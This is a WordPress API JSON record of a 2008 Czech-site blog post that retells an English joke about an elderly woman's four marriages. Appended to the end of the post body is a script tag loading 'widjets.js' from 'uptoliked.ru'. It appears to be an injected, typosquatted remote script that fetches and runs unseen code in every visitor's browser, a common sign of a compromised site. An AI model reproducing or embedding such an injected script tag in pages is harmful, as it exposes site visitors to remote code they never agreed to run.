{"id":1807,"date":"2008-12-03T20:22:52","date_gmt":"2008-12-03T19:22:52","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=1807"},"modified":"2008-12-05T23:47:46","modified_gmt":"2008-12-05T22:47:46","slug":"proc-jste-se-tolikrat-vdavala","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=1807","title":{"rendered":"Pro\u010d jste se tolikr\u00e1t vd\u00e1vala?"},"content":{"rendered":"<p>Vtip z americk\u00e9ho port\u00e1lu A JOKE A DAY.<\/p>\n<p>A <a href=\"http:\/\/www.velehrad.org\/wp-content\/uploads\/2008\/12\/old_lady.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-thumbnail wp-image-1822\" title=\"\" src=\"http:\/\/www.velehrad.org\/wp-content\/uploads\/2008\/12\/old_lady-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a>woman in her eighties made the evening news because she was getting married for the fourth time. The following day she was being interviewed by a local TV station, and the commentator asked about what it felt to be married again at that age and would she share part of her previous experiences, since it seem quite unique the fact that her new husband was a \u2018funeral director.\u2019 After a short time to think, a smile came to her face and she proudly explained that she had first married a banker when she was in her twenties, in her forties she married a circus ring master, and in her sixties she married a pastor and now in her eighties, a funeral director. The amazed commentator asked her why she had married men with such diverse carriers. With a smile on her face she explained, \u2018I married one for the money, two for the show, three to get ready, and four to go.\u2019<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vtip z americk\u00e9ho port\u00e1lu A JOKE A DAY. A woman in her eighties made the evening news because she was getting married for the fourth time. The following day she&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=1807\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":24,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-1807","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1807"}],"version-history":[{"count":5,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1807\/revisions"}],"predecessor-version":[{"id":1833,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1807\/revisions\/1833"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}